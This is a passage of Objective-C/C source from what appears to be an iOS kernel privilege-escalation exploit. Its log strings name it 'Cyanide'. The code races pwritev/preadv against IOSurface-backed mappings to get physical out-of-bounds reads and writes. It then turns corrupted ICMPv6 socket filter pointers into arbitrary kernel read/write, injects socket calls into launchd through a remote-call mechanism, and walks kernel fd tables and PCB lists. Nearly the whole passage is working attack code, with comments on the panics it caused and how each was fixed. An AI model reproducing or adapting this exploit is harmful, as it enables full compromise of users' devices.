        // up much later as a fault in the kernel physical aperture.
        if (gMlockCreateFailures == 0) {
            printf("[-] surface_mlock: IOSurfaceCreate FAILED at %#llx (size %#llx) — "
                   "page is NOT wired\n", address, size);
        }
        gMlockCreateFailures++;
        return false;
    }
    if (!mlock_dict_reserve()) {
        CFRelease(surface);
        gMlockCreateFailures++;
        return false;
    }
    gMlockDict[gMlockDictCount].address = address;
    gMlockDict[gMlockDictCount].surface = surface;
    gMlockDictCount++;
    return true;
}

void surface_munlock(uint64_t address, uint64_t size) {
    (void)size;
    for (size_t i = 0; i < gMlockDictCount; i++) {
        if (gMlockDict[i].address == address && gMlockDict[i].surface) {
            CFRelease(gMlockDict[i].surface);
            gMlockDict[i] = gMlockDict[--gMlockDictCount];
            memset(&gMlockDict[gMlockDictCount], 0, sizeof(gMlockDict[gMlockDictCount]));
            return;
        }
    }
}

// Release the oldest tracked surfaces — the per-page staging ones, created
// before any search mapping — to free room under the per-process IOSurface
// ceiling. Returns how many were actually handed back.
static size_t surface_release_oldest(size_t count) {
    if (count > gMlockDictCount) count = gMlockDictCount;
    for (size_t i = 0; i < count; i++) {
        if (gMlockDict[i].surface) CFRelease(gMlockDict[i].surface);
    }
    memmove(gMlockDict, gMlockDict + count,
            (gMlockDictCount - count) * sizeof(*gMlockDict));
    gMlockDictCount -= count;
    return count;
}

// Wiring the search mapping is not optional: it is the mapping the OOB race
// reads through, and if its pages are not resident the copy faults on an
// unmapped physical page — "Unexpected fault in kernel physical aperture".
// pe_v2's per-page staging exhausts the IOSurface ceiling long before we get
// here, so on failure hand staging surfaces back and try again.
static bool ensure_search_mapping_wired(uint64_t address, uint64_t size) {
    if (surface_mlock(address, size)) return true;

    size_t handedBack = surface_release_oldest(PE_V2_SEARCH_MAPPING_SURFACE_RESERVE);
    printf("[i] pe_v2: search mapping unwired; handed back %zu staging surfaces\n", handedBack);
    if (handedBack && surface_mlock(address, size)) {
        printf("[+] pe_v2: search mapping wired after handing surfaces back\n");
        return true;
    }
    printf("[-] pe_v2: search mapping could NOT be wired — refusing to race\n");
    return false;
}

static void surface_munlock_all(void) {
    size_t released = gMlockDictCount;
    while (gMlockDictCount > 0) {
        size_t idx = gMlockDictCount - 1;
        if (gMlockDict[idx].surface)
            CFRelease(gMlockDict[idx].surface);
        memset(&gMlockDict[idx], 0, sizeof(gMlockDict[idx]));
        gMlockDictCount--;
    }
    free(gMlockDict);
    gMlockDict = NULL;
    gMlockDictCap = 0;
    if (released || gMlockCreateFailures) {
        printf("[i] surface_munlock_all: released %zu surfaces, %llu create failures this run\n",
               released, gMlockCreateFailures);
    }
    gMlockCreateFailures = 0;
}

void kexploit_preflight_cleanup(void) {
    stop_free_thread_if_needed();

    sockets_release_fast();
    fastSocketMode = false;
    fastTargetInpGencntCount = 0;
    memset(fastTargetInpGencntList, 0, sizeof(fastTargetInpGencntList));

    if (socketPorts && socketPcbIds)
        sockets_release(socketPorts, socketPcbIds);
    socketPorts = nil;
    socketPcbIds = nil;

    surface_munlock_all();

    if (pcAddress && pcSize) {
        mach_vm_deallocate(mach_task_self(), pcAddress, pcSize);
        pcAddress = 0;
        pcSize = 0;
    }
    if (pcObject != MACH_PORT_NULL) {
        mach_port_deallocate(mach_task_self(), pcObject);
        pcObject = MACH_PORT_NULL;
    }

    if (readFd >= 0) {
        close(readFd);
        readFd = -1;
    }
    if (writeFd >= 0) {
        close(writeFd);
        writeFd = -1;
    }
    if (controlSocket >= 0) {
        close(controlSocket);
        controlSocket = -1;
    }
    if (rwSocket >= 0) {
        close(rwSocket);
        rwSocket = -1;
    }

    if (getsockoptReadData) {
        free(getsockoptReadData);
        getsockoptReadData = NULL;
    }
    if (default_file_content) {
        free(default_file_content);
        default_file_content = NULL;
    }

    highestSuccessIdx = 0;
    successReadCount = 0;
    pcSize = 0;
    controlSocketPcb = 0;
    rwSocketPcb = 0;
    kexploit_krw_restore_snapshot_clear();
    memset(controlData, 0, sizeof(controlData));
    goSync = 0;
    raceSync = 0;
    freeThreadStart = 0;
    freeTarget = 0;
    freeTargetSize = 0;
    targetObject = MACH_PORT_NULL;
    targetObjectOffset = 0;
    freeThreadMapFailureCount = 0;
}

void pe_init(void) {
    init_target_file();
    init_process_markers();
    
    pthread_attr_t pattr;
    pthread_attr_init(&pattr);
    pthread_attr_set_qos_class_np(&pattr, QOS_CLASS_USER_INITIATED, 0);
    int pthreadErr = pthread_create(&freeThread, &pattr, free_thread, NULL);
    pthread_attr_destroy(&pattr);
    freeThreadCreated = (pthreadErr == 0);
    if (pthreadErr != 0)
        printf("[-] pe_init: pthread_create failed: %d\n", pthreadErr);
}

bool create_physically_contiguous_mapping(mach_port_t *port,
                                          mach_vm_address_t *address,
                                          mach_vm_size_t size) {
    NSDictionary *params = @{
        (__bridge id)kIOSurfaceAllocSize : @(size),
        @"IOSurfaceMemoryRegion" : @"PurpleGfxMem",
    };

    IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef)params);

    if (!surface) {
        printf("[-] Failed to create surface!!!\n");
        log_user("[KRW] Failed to create IOSurface physical mapping. This device/iOS build may not expose the required PurpleGfxMem surface path.\n");
        *port = MACH_PORT_NULL;
        *address = 0;
        return false;
    }

    void *physicalMappingAddress = IOSurfaceGetBaseAddress(surface);
    printf("[+] physicalMappingAddress: %p\n", physicalMappingAddress);

    mach_port_t memoryObject = MACH_PORT_NULL;
    kern_return_t kr = mach_make_memory_entry_64(
        mach_task_self(), &size, (mach_vm_address_t)physicalMappingAddress,
        VM_PROT_DEFAULT, &memoryObject, 0);
    if (kr != KERN_SUCCESS || memoryObject == MACH_PORT_NULL) {
        printf("[-] mach_make_memory_entry_64 failed: kr=%#x (%s) memoryObject=%#x\n",
               kr, mach_error_string(kr), memoryObject);
        log_user("[KRW] Failed to create a memory entry for the IOSurface physical mapping.\n");
        CFRelease(surface);
        *port = MACH_PORT_NULL;
        *address = 0;
        return false;
    }

    mach_vm_address_t newMappingAddress = 0;
    kr = mach_vm_map(mach_task_self(), &newMappingAddress, size, 0,
                     VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memoryObject, 0,
                     0, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);

    if (kr != KERN_SUCCESS) {
        printf("[-] mach_vm_map failed: kr=%#x (%s)\n",
               kr, mach_error_string(kr));
        log_user("[KRW] Failed to map the IOSurface memory entry into Cyanide.\n");
        mach_port_deallocate(mach_task_self(), memoryObject);
        CFRelease(surface);
        *port = MACH_PORT_NULL;
        *address = 0;
        return false;
    }

    CFRelease(surface);
    *port = memoryObject;
    *address = newMappingAddress;
    return true;
}

bool initialize_physical_read_write(uint64_t contiguous_mapping_size) {
    pcSize = contiguous_mapping_size;
    if (!create_physically_contiguous_mapping(&pcObject, &pcAddress, pcSize)) {
        pcSize = 0;
        return false;
    }
    printf("[+] pcObject: %u\n", pcObject);
    printf("[+] pcAddress: %#llx\n", pcAddress);
    memset64((void *)pcAddress, randomMarker, pcSize);
    freeTarget = pcAddress;
    freeTargetSize = pcSize;
    freeThreadStart = 1;
    goSync = 1;
    return true;
}

kern_return_t physical_oob_read_mo(mach_port_t memoryObject,
                                   mach_vm_offset_t memoryObjectOffset,
                                   mach_vm_size_t size, mach_vm_offset_t offset,
                                   void *buffer) {
    if (offset + size > 0x4000) {
        printf("[-] physical_oob_read_mo request too large\n");
        FAILURE(0);
    }

    targetObject = memoryObject;
    targetObjectOffset = memoryObjectOffset;
    iov.iov_base = (void *)(pcAddress + 0x3f00);
    iov.iov_len = offset + size;
    *(uint64_t *)buffer = randomMarker;
    *(uint64_t *)(pcAddress + 0x3f00 + offset) = randomMarker;

    bool readRaceSucceeded = false;
    ssize_t w = 0;
    for (int tryIdx = 0; tryIdx < highestSuccessIdx + 100; tryIdx++) {
        raceSync = 1;
        w = pwritev(readFd, &iov, 1, 0x3f00);
        while (raceSync == 1)
            ;

        mach_vm_address_t addr = pcAddress;
        kern_return_t kr =
            mach_vm_map(mach_task_self(), &addr, pcSize, 0,
                        VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0,
                        VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
        if (kr != KERN_SUCCESS) {
            printf("[+] mach_vm_map failed in physical_oob_read_mo: %#x\n", kr);
            targetObject = 0;
            return kr;
        }
        if (w == -1) {
            ssize_t r = pread(readFd, buffer, size, 0x3f00 + offset);
            (void)r;
            uint64_t marker = *(uint64_t *)buffer;
            if (marker != randomMarker) {
                readRaceSucceeded = true;
                successReadCount++;
                if (tryIdx > highestSuccessIdx) {
                    highestSuccessIdx = tryIdx;
                }
                break;
            } else {
                usleep(1);
            }
        }
        if (tryIdx >= g_oob_race_max_tries) {
            break;
        }
    }
    targetObject = 0;
    if (!readRaceSucceeded)
        return 1;
    return KERN_SUCCESS;
}

kern_return_t physical_oob_read_mo_with_retry(
    mach_port_t memoryObject, mach_vm_offset_t memoryObjectOffset,
    mach_vm_size_t size, mach_vm_offset_t offset, void *buffer) {
    kern_return_t kr = KERN_FAILURE;
    for (unsigned attempt = 0; attempt < PHYSICAL_OOB_READ_RETRY_LIMIT; attempt++) {
        kr = physical_oob_read_mo(memoryObject, memoryObjectOffset, size,
                                  offset, buffer);
        if (kr == KERN_SUCCESS)
            return KERN_SUCCESS;
        usleep(100);
    }
    printf("[-] physical_oob_read_mo_with_retry: giving up offset=%#llx kr=%#x\n",
           memoryObjectOffset, kr);
    return kr == KERN_SUCCESS ? KERN_FAILURE : kr;
}

void physical_oob_write_mo(mach_port_t memoryObject,
                           mach_vm_offset_t memoryObjectOffset,
                           mach_vm_size_t size, mach_vm_offset_t offset,
                           void *buffer) {
    targetObject = memoryObject;
    targetObjectOffset = memoryObjectOffset;
    iov.iov_base = (void *)(pcAddress + 0x3f00);
    iov.iov_len = offset + size;

    pwrite(writeFd, buffer, size, 0x3f00 + offset);
    for (int tryIdx = 0; tryIdx < 20; tryIdx++) {
        raceSync = 1;
        preadv(writeFd, &iov, 1, 0x3f00);
        while (raceSync == 1)
            ;
        mach_vm_address_t addr = pcAddress;
        kern_return_t kr =
            mach_vm_map(mach_task_self(), &addr, pcSize, 0,
                        VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pcObject, 0, 0,
                        VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);

        if (kr != KERN_SUCCESS) {
            printf("[-] mach_vm_map failed in physical_oob_write_mo: %#x\n", kr);
            targetObject = 0;
            return;
        }
    }
    targetObject = 0;
}

static void physical_oob_restore_candidate(mach_port_t memoryObject,
                                           mach_vm_offset_t memoryObjectOffset,
                                           void *originalPage) {
    if (!originalPage) return;

    printf("[KRW] restoring abandoned PCB candidate at offset=%#llx\n",
           memoryObjectOffset);
    // Round 21: the restore used to be three blind writes with no readback —
    // if the race left the binding pointing at a foreign page, the "restore"
    // smeared originalPage over THAT page and we never knew. Verify by
    // readback: the PA was already proven by the earlier races, so the extra
    // read adds no new aperture exposure. A few differing qwords are tolerated
    // (live PCB list links move); more means the restore is not landing.
    uint8_t verifyBuf[OOB_SIZE];
    bool restored = false;
    for (unsigned attempt = 0; attempt < 3; attempt++) {
        physical_oob_write_mo(memoryObject, memoryObjectOffset, OOB_SIZE,
                              OOB_OFFSET, originalPage);
        usleep(100);
        if (physical_oob_read_mo_with_retry(memoryObject, memoryObjectOffset,
                                            OOB_SIZE, OOB_OFFSET,
                                            verifyBuf) != KERN_SUCCESS)
            continue;
        unsigned diffs = oob_page_diff(verifyBuf, originalPage);
        if (diffs == 0) {
            restored = true;
            break;
        }
        if (diffs <= PHYSICAL_OOB_RESTORE_DIFF_TOLERANCE) {
            printf("[KRW] restore verify: %u qword(s) differ (within tolerance) — accepted\n",
                   diffs);
            restored = true;
            break;
        }
        printf("[KRW] restore verify: %u qwords differ — retrying restore\n", diffs);
    }
    if (!restored) {
        g_oob_inconsistencyCount++;
        log_user("[WARN] Physical OOB restore could NOT be verified — a page may "
                 "be left corrupted (%u/%d before the run aborts itself).\n",
                 g_oob_inconsistencyCount, PHYSICAL_OOB_INCONSISTENCY_ABORT);
    }
    rwSocketPcb = 0;
    kexploit_krw_restore_snapshot_clear();
}

// Points the rw socket's filter at `where`. Returns false when the control
// setsockopt fails -- and then the target is NOT `where` but whatever the
// previous access left there, so the caller must skip its read/write (a write
// would land on the old address). This used to exit(0), killing Cyanide mid-
// RemoteCall and skipping its cleanup, unlike every other KRW failure path.
static bool set_target_kaddr(uint64_t where) {
    memset(controlData, 0, EARLY_KRW_LENGTH);
    *(uint64_t *)controlData = where;
    int res = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER,
                         controlData, EARLY_KRW_LENGTH);
    if (res != 0) {
        printf("[-] control setsockopt failed (errno=%d) — access skipped, failing safe\n", errno);
        return false;
    }
    return true;
}

static pthread_mutex_t krwLock = PTHREAD_MUTEX_INITIALIZER;
static void krw_reattach_if_detached(void);
static void krw_repark_locked(void);   // defined with the filter-donor block below

// Cheap liveness check: no kernel round-trip and no logging, so the settings
// UI can ask on every table reload. kexploit_krw_ready() is the authoritative
// (and expensive) version.
bool kexploit_krw_session_active(void) {
    return controlSocket >= 0 && rwSocket >= 0 &&
           controlSocketPcb != 0 && rwSocketPcb != 0;
}

// Round 7: non-blocking peek for main-thread UI triage — see the header.
// Detached sockets are closed in-process, so session_active() alone would
// suffice; the explicit detached check makes the intent self-documenting.
bool kexploit_krw_peek_live(void) {
    return !kexploit_krw_sockets_detached() && kexploit_krw_session_active();
}

bool kexploit_krw_ready(void) {
    // A session parked in launchd is healthy, not dead -- take the fds back
    // before judging it. Without this, every caller (settings_ensure_kexploit
    // most of all) reads a detached session as stale and tears down RemoteCall
    // state that was fine. No recursion risk: the reattach clears the detached
    // flag before it calls back in here.
    krw_reattach_if_detached();
    if (controlSocket < 0 || rwSocket < 0) {
        printf("[KRW] not ready: missing sockets control=%d rw=%d\n", controlSocket, rwSocket);
        return false;
    }
    if (fcntl(controlSocket, F_GETFD) == -1 || fcntl(rwSocket, F_GETFD) == -1) {
        printf("[KRW] not ready: socket fd validation failed errno=%d\n", errno);
        return false;
    }
    if (!controlSocketPcb || !rwSocketPcb ||
        !is_kaddr_valid(controlSocketPcb) || !is_kaddr_valid(rwSocketPcb)) {
        printf("[KRW] not ready: invalid pcb control=%#llx rw=%#llx\n",
               controlSocketPcb, rwSocketPcb);
        return false;
    }
    if (!g_kernel_base || !is_kaddr_valid(g_kernel_base)) {
        printf("[KRW] not ready: invalid kernel base=%#llx\n", g_kernel_base);
        return false;
    }

    uint8_t target[EARLY_KRW_LENGTH];
    uint64_t magic = 0;
    memset(target, 0, sizeof(target));
    *(uint64_t *)target = g_kernel_base;

    pthread_mutex_lock(&krwLock);
    int setRes = setsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER,
                            target, EARLY_KRW_LENGTH);
    if (setRes != 0) {
        int savedErrno = errno;
        pthread_mutex_unlock(&krwLock);
        printf("[KRW] not ready: setsockopt validation failed errno=%d\n", savedErrno);
        return false;
    }

    socklen_t readLen = sizeof(magic);
    int getRes = getsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, &magic, &readLen);
    int savedErrno = errno;
    krw_repark_locked();   // validation armed the filter at g_kernel_base; re-park
    pthread_mutex_unlock(&krwLock);
    if (getRes != 0 || readLen < sizeof(magic)) {
        printf("[KRW] not ready: getsockopt validation failed res=%d len=%u errno=%d\n",
               getRes, readLen, savedErrno);
        return false;
    }
    if (magic != 0x100000cfeedfacfULL) {
        printf("[KRW] not ready: kernel magic mismatch base=%#llx magic=%#llx\n",
               g_kernel_base, magic);
        return false;
    }

    return true;
}

// Point the RW PCB's in6p_icmp6filt back at its own original filter allocation
// (or, failing that, at the permanently-mapped kernel header) without tearing
// the session down.
//
// Why this exists: the two sockets are leaked forever by
// krw_sockets_leak_forever(), so their PCBs stay on the raw6 inpcb list until
// reboot. Meanwhile every kernel access leaves in6p_icmp6filt pointing at the
// last address we touched. icmp6_rip6_input() walks that list and dereferences
// in6p_icmp6filt for every inbound ICMPv6 packet — so if the app dies without
// cleanup while that pointer aims at, say, a SpringBoard thread struct, the
// kernel will read freed memory the moment that thread goes away. That is a
// use-after-free in the threads zone, hours or days later, with Cyanide long
// gone.
//
// Parking is one setsockopt and fully reversible: the next set_target_kaddr()
// re-arms the primitive normally.
static _Atomic int gKrwParkFailStreak = 0;   // consecutive idle-park failures
// Declared up here (rather than with the other idle-park state below) because
// kexploit_krw_session_end_park() sets it: its park counts as the session's
// park, so the idle worker should not redundantly re-park a second later.
static _Atomic bool gKrwFilterParked = false;

// Non-destructive read of the RW PCB's in6p_icmp6filt via the control socket,
// whose filter pointer was corrupted during setup to alias that exact field.
// getsockopt() does not re-arm the primitive, so this observes the filter
// state instead of disturbing it (early_kread() on the field would overwrite
// it with its own address before reading -- self-defeating).
// Returns true on success and stores the current filter pointer in *outFilter.
static bool krw_read_rw_filter_field(uint64_t *outFilter) {
    uint8_t buf[EARLY_KRW_LENGTH];
    memset(buf, 0, sizeof(buf));
    socklen_t len = sizeof(buf);
    pthread_mutex_lock(&krwLock);
    int res = getsockopt(controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, buf, &len);
    int savedErrno = errno;
    pthread_mutex_unlock(&krwLock);
    if (res != 0 || len < sizeof(uint64_t)) {
        printf("[KRW] filter readback failed res=%d len=%u errno=%d\n",
               res, (unsigned)len, savedErrno);
        return false;
    }
    if (outFilter) *outFilter = *(uint64_t *)buf;
    return true;
}

// ---------------------------------------------------------------------------
// Permanent ICMPv6 filter donor (round 9).
//
// The 2026-09-29/30 panics (both 21D61, byte-identical signature) faulted in
// icmp6_rip6_input(): the leaked RW pcb's in6p_icmp6filt held the LAST kread
// target -- a freed threads-zone element (struct thread, 1816 bytes) walked by
// the fastkill/RemoteCall thread-list code -- because every KRW op re-arms the
// filter and the park machinery is only eventually-consistent (1 s quiet + 2 s
// poll, and skipped entirely on some teardown/early-return paths). The park
// TARGET was never the problem; the armed window was.
//
// Two-part fix:
//  1. A dedicated, permanently-backed icmp6_filter whose address is the ONLY
//     resting value of the RW pcb's filter pointer. Primary backing: a raw6
//     socket created INSIDE LAUNCHD via RemoteCall (launchd never dies, is
//     never jetsam'd, and pid_shutdown_sockets never walks it). Fallback: an
//     in-process raw6 socket leaked/pinned exactly like the KRW pair. The
//     donor filter content is BLOCK-ALL (32 zero bytes) so rip6_input skips
//     any pcb resting on it -- no delivery side effects, ever.
//  2. Auto-repark: every early_kread/early_kwrite32bytes points the filter
//     back at the donor before releasing krwLock, shrinking the
//     armed-at-arbitrary-address window from "until a park happens to run" to
//     one locked syscall pair. Any state where the sockets remain leaked now
//     has in6p_icmp6filt == donor (permanent) -- never a thread/proc/task.
//
// The CONTROL pcb's filter stays aliased at rwSocketPcb+off_icmp6filt: that
// alias IS the primitive (set_target_kaddr writes through it) and cannot be
// reseated without the OOB write primitive, which only exists during the
// exploit. It is safe regardless: it points into the never-freed RW inpcb, so
// rip6's bitmap test on the control pcb reads live inpcb bytes forever.
// ---------------------------------------------------------------------------

static uint64_t gKrwPermanentFilter = 0;
static uint64_t gKrwFilterDonorSo = 0;
static uint64_t gKrwFilterDonorPcb = 0;
static bool     gKrwFilterDonorLaunchd = false;
static int      gKrwFilterDonorLocalFd = -1;

#define KRW_PERM_FILTER_DEFAULTS_K       @"krwPermFilterK"
#define KRW_PERM_FILTER_DEFAULTS_SO      @"krwPermFilterSo"
#define KRW_PERM_FILTER_DEFAULTS_PCB     @"krwPermFilterPcb"
#define KRW_PERM_FILTER_DEFAULTS_LAUNCHD @"krwPermFilterLaunchd"
// Round 11: boot stamps for the triple. Written at adopt time, checked in
// ensure() BEFORE any kread of the persisted addresses — kreading a donor pcb
// from a previous boot panics the kernel when its 16 MB zone-VA window is
// uncommitted this boot (copy_validate's zone-metadata lookup faults;
// panic-full-2026-09-30-191700, SYMBOLIZATION_REPORT.md section 5). The check
// is the same one that guards the saved KRW primitive
// (krw_persistence_stamps_match_current_boot), so the two never disagree.
#define KRW_PERM_FILTER_DEFAULTS_BOOTUUID @"krwPermFilterBootUUID"
#define KRW_PERM_FILTER_DEFAULTS_BOOTSEC  @"krwPermFilterBootSec"

// Belt-and-braces for validation kreads (round 11). The boot gate is the real
// fix for cross-boot staleness; this is the cheap last line of defence for
// any candidate whose committedness we cannot prove. Grounding: copy_validate
// faults the KERNEL when the kread target's 16 MB zone-VA window has no
// committed metadata page. Our own KRW pcbs are leaked (never freed) and are
// kread on every primitive op, so their window is provably committed — and a
// donor created this boot is allocated right next to them in the same inpcb
// zone. A candidate farther than 16 MB from BOTH anchors is certainly in a
// different metadata window and certainly not this boot's donor: refuse to
// probe it. A candidate INSIDE the neighborhood can still straddle a window
// boundary (the grid is anchored at zone_map_base, unknown from here), so
// this is a heuristic, not a proof — the boot gate stays authoritative.
// False negatives only cost a donor re-creation. No metadata probing: one
// bad probe is another panic.
#define KRW_VALIDATE_WINDOW 0x1000000ULL   // 16 MB: one zone-metadata page
// Round 18: no current callers (the donor walk and re-adopt validate both
// moved to ksafe/structural checks — distance heuristics broke on kernels
// whose zones span multiple windows). Kept for reference.
__attribute__((unused))
static bool krw_candidate_near_committed(uint64_t cand) {
    if (!cand) return false;
    uint64_t anchors[2] = { rwSocketPcb, controlSocketPcb };
    for (int i = 0; i < 2; i++) {
        uint64_t a = anchors[i];
        if (!is_kaddr_valid(a)) continue;
        uint64_t delta = cand > a ? cand - a : a - cand;
        if (delta < KRW_VALIDATE_WINDOW) return true;
    }
    return false;
}

// Round 18: forward-declared so krw_filter_donor_validate() can require LIVE
// list membership as one leg of its verification triangle (defined below).
static uint64_t krw_pcb_for_socket(uint64_t so);

static bool krw_filter_donor_validate(uint64_t k, uint64_t so, uint64_t pcb) {
    if (!is_kaddr_valid(k) || !is_kaddr_valid(so) || !is_kaddr_valid(pcb))
        return false;
    // Round 18: the 16 MB anchor-proximity gate that stood here was REMOVED.
    // On kernels whose inpcb zone spans multiple zone-metadata windows it
    // rejected VALID persisted donors, and the restore path reaches this
    // function BEFORE ksafe is brought up (live 20.log 12:28:38: re-adopt
    // never ran, the local socket() fallback is sandbox-EPERM, and the whole
    // session ran with no permanent filter). Safety of the first dereference
    // now rests on construction, not distance: the caller's round-11 boot
    // gate (authoritative, unchanged) confines the triple to this boot, and
    // the round-12 harden-before-persist ordering means a persisted donor
    // pcb is usecount-pinned and SOF_NODEFUNCT — its page cannot have been
    // freed or zone-trimmed. When ksafe IS up it gates the first read as a
    // real committed-page check on top.
    if (ksafe_available() && !kaddr_is_mapped(pcb, off_inpcb_inp_socket + 8))
        return false;
    // What remains is detecting zone-REUSE garbage at a still-mapped address,
    // which a mutually-consistent triangle cannot fake: (1) pcb->inp_socket
    // must equal the persisted so; (2) pcb must be discoverable as a LIVE
    // raw6-list member owning so (the round-17 distance-free backward walk,
    // which itself only dereferences list members — live by definition); and
    // (3) pcb->icmp6filt must equal the persisted k. k is only kread after
    // pcb has proven itself live — a pinned donor pcb's filter allocation is
    // live by construction.
    if (early_kread64(pcb + off_inpcb_inp_socket) != so)
        return false;
    if (krw_pcb_for_socket(so) != pcb)
        return false;
    if (early_kread64(pcb + off_inpcb_inp_depend6_inp6_icmp6filt) != k)
        return false;
    uint8_t content[EARLY_KRW_LENGTH];
    early_kread(k, content, sizeof(content));
    for (size_t i = 0; i < sizeof(content); i++)
        if (content[i] != 0) return false;   // donor content is BLOCK-ALL
    return true;
}

uint64_t kexploit_krw_permanent_filter_addr(void) {
    return gKrwPermanentFilter;
}

static bool krw_park_filter_internal(bool verbose);   // defined just below
static bool krw_socket_set_nodefunct(uint64_t pcb, uint64_t *immuneSo,
                                     const char *tag); // defined with the NODEFUNCT block

// Kernel pointer read that tolerates either PAC convention in fd-table
// chains (file.m strips, vnode.m doesn't; accept whichever yields a kaddr).
static uint64_t krw_kread_ptr(uint64_t where) {
    uint64_t v = early_kread64(where);
    if (!is_kaddr_valid(v)) v = __xpaci(v);
    return v;
}

// Resolve (proc, fd) -> struct socket * via the fd table, the same walk
// utils/file.m uses for vnodes.
static uint64_t krw_socket_for_fd(uint64_t proc, int fd) {
    if (!is_kaddr_valid(proc) || fd < 0) return 0;
    uint64_t arr = krw_kread_ptr(proc + off_proc_p_fd + off_filedesc_fd_ofiles);
    if (!is_kaddr_valid(arr)) return 0;
    uint64_t fileproc = krw_kread_ptr(arr + (uint64_t)fd * 8);
    if (!is_kaddr_valid(fileproc)) return 0;
    uint64_t fpglob = krw_kread_ptr(fileproc + off_fileproc_fp_glob);
    if (!is_kaddr_valid(fpglob)) return 0;
    return krw_kread_ptr(fpglob + off_fileglob_fg_data);
}

// Find the inpcb whose inp_socket == so by walking the raw6 inp_list in both
// directions from our own (leaked, never-freed) pcbs. Bounded; raw6 sockets
// are rare and the spray pcbs are freed after the exploit, so the list is
// short. Each backward step is cross-checked (cand.le_next == cur) so a
// concurrent list mutation stops the walk instead of wandering.
static uint64_t krw_pcb_for_socket(uint64_t so) {
    if (!is_kaddr_valid(so)) return 0;
    const uint32_t leNext = off_inpcb_inp_list_le_next;
    uint64_t anchors[2] = { controlSocketPcb, rwSocketPcb };
    for (int a = 0; a < 2; a++) {
        uint64_t cur = anchors[a];
        if (!is_kaddr_valid(cur)) continue;
        for (int i = 0; i < 2048 && is_kaddr_valid(cur); i++) {
            if (early_kread64(cur + off_inpcb_inp_socket) == so) return cur;
            uint64_t prevField = early_kread64(cur + leNext + 8);   // le_prev
            if (!is_kaddr_valid(prevField)) break;
            uint64_t cand = prevField - leNext;
            if (!is_kaddr_valid(cand) || cand == cur) break;
            // Round 17: the round-15 anchor-proximity gate below was replaced —
            // it silently broke this walk on kernels whose inpcb zone spans
            // more than one 16 MB window (live 20.log 12:33:32 / 12:34:56:
            // the freshly created donor pcb sat behind the anchors outside
            // the window, the walk stopped early, pcb=0, and EVERY donor
            // create failed). The gate existed to protect the first
            // dereference of cand. Now: when the ksafe kernel_map snapshot is
            // up, use a REAL committed-page check instead of a distance
            // heuristic. Either way, cand must then prove BOTH linkages
            // (le_next forward AND le_prev backward) — a genuine inpcb-list
            // element always passes; the walk's only non-element candidate
            // (the inpcbhead pseudo-element, kernel .data — always mapped)
            // fails the backward check because inpcbinfo's next field is a
            // hash-table pointer, never &cur->le_next. List membership
            // itself (in_pcbdetach LIST_REMOVEs before free) keeps every
            // reachable element committed; the residual wild-le_prev case is
            // the same exposure the forward walk below already accepts for
            // le_next.
            if (ksafe_available() &&
                !kaddr_is_mapped(cand, leNext + 16)) break;
            if (early_kread64(cand + leNext) != cur) break;
            if (early_kread64(cand + leNext + 8) != cur + leNext) break;
            cur = cand;
        }
        cur = anchors[a];
        for (int i = 0; i < 2048 && is_kaddr_valid(cur); i++) {
            if (early_kread64(cur + off_inpcb_inp_socket) == so) return cur;
            uint64_t next = early_kread64(cur + leNext);
            if (!is_kaddr_valid(next) || next == cur) break;
            cur = next;
        }
    }
    return 0;
}

// Preferred donor: a raw ICMPv6 socket created inside launchd via RemoteCall,
// given a BLOCK-ALL icmp6_filter, and never closed. The kernel-side filter
// allocation is then owned by pid 1 -- immune to Cyanide's death, jetsam,
// device lock, and the pid_shutdown_sockets reclaim walks.
//
// Session discipline (round 10): if this function had to bring the launchd
// RemoteCall up itself, it tears it down again on EVERY exit path. The round-9
// exploit-end call left that session up forever — a parked synthetic thread
// plus its exception ports permanently inside launchd, and an amplifier for
// the 17:45:56 trap-wait orphan (the warm-up's walk could arm round-9's
// leftover threads). Riding an already-up session (the persistence anchor —
// rcUp true) is the normal path; the self-brought session is the fallback
// only. The donor fd itself survives either way: socket()/setsockopt()
// executed INSIDE launchd, so the fd lives in launchd's own per-PROCESS fd
// table — destroying the RemoteCall session removes our ports and the trojan
// thread, never launchd's fds (fds are not owned by threads).
static bool krw_filter_donor_create_launchd(uint64_t *outK, uint64_t *outSo,
                                            uint64_t *outPcb) {
    bool rcUp = remote_call_has_local_state() && remote_call_current_pid() == 1;
    bool broughtUp = false;
    bool result = false;
    int fd = -1;
    if (!rcUp) {
        if (init_remote_call("launchd", false) != 0) {
            printf("[KRW] filter-donor: init_remote_call(launchd) failed\n");
            return false;
        }
        broughtUp = true;
    }
    uint64_t fdU = do_remote_call_stable(2000, "socket", AF_INET6, SOCK_RAW,
                                         IPPROTO_ICMPV6, 0, 0, 0, 0, 0);
    fd = (int)(int32_t)fdU;
    if (fd < 0 || fd >= 1000000) {
        printf("[KRW] filter-donor: remote socket() failed ret=%#llx\n", fdU);
        goto done;
    }
    {
        bool ok = false;
        uint64_t buf = do_remote_call_stable(1000, "malloc", EARLY_KRW_LENGTH,
                                             0, 0, 0, 0, 0, 0, 0);
        if (buf) {
            uint8_t zeros[EARLY_KRW_LENGTH];
            memset(zeros, 0, sizeof(zeros));
            if (remote_write(buf, zeros, sizeof(zeros))) {
                uint64_t r = do_remote_call_stable(2000, "setsockopt", (uint64_t)fd,
                                                   IPPROTO_ICMPV6, ICMP6_FILTER,
                                                   buf, EARLY_KRW_LENGTH, 0, 0, 0);
                ok = ((int)(int32_t)r == 0);
            }
            do_remote_call_stable(1000, "free", buf, 0, 0, 0, 0, 0, 0, 0);
        }
        if (!ok) {
            printf("[KRW] filter-donor: remote setsockopt(ICMP6_FILTER) failed\n");
            do_remote_call_stable(1000, "close", (uint64_t)fd, 0, 0, 0, 0, 0, 0, 0);
            goto done;
        }
    }
    {
        uint64_t so = krw_socket_for_fd(proc_find(1), fd);
        uint64_t pcb = so ? krw_pcb_for_socket(so) : 0;
        uint64_t k = pcb ? early_kread64(pcb + off_inpcb_inp_depend6_inp6_icmp6filt) : 0;
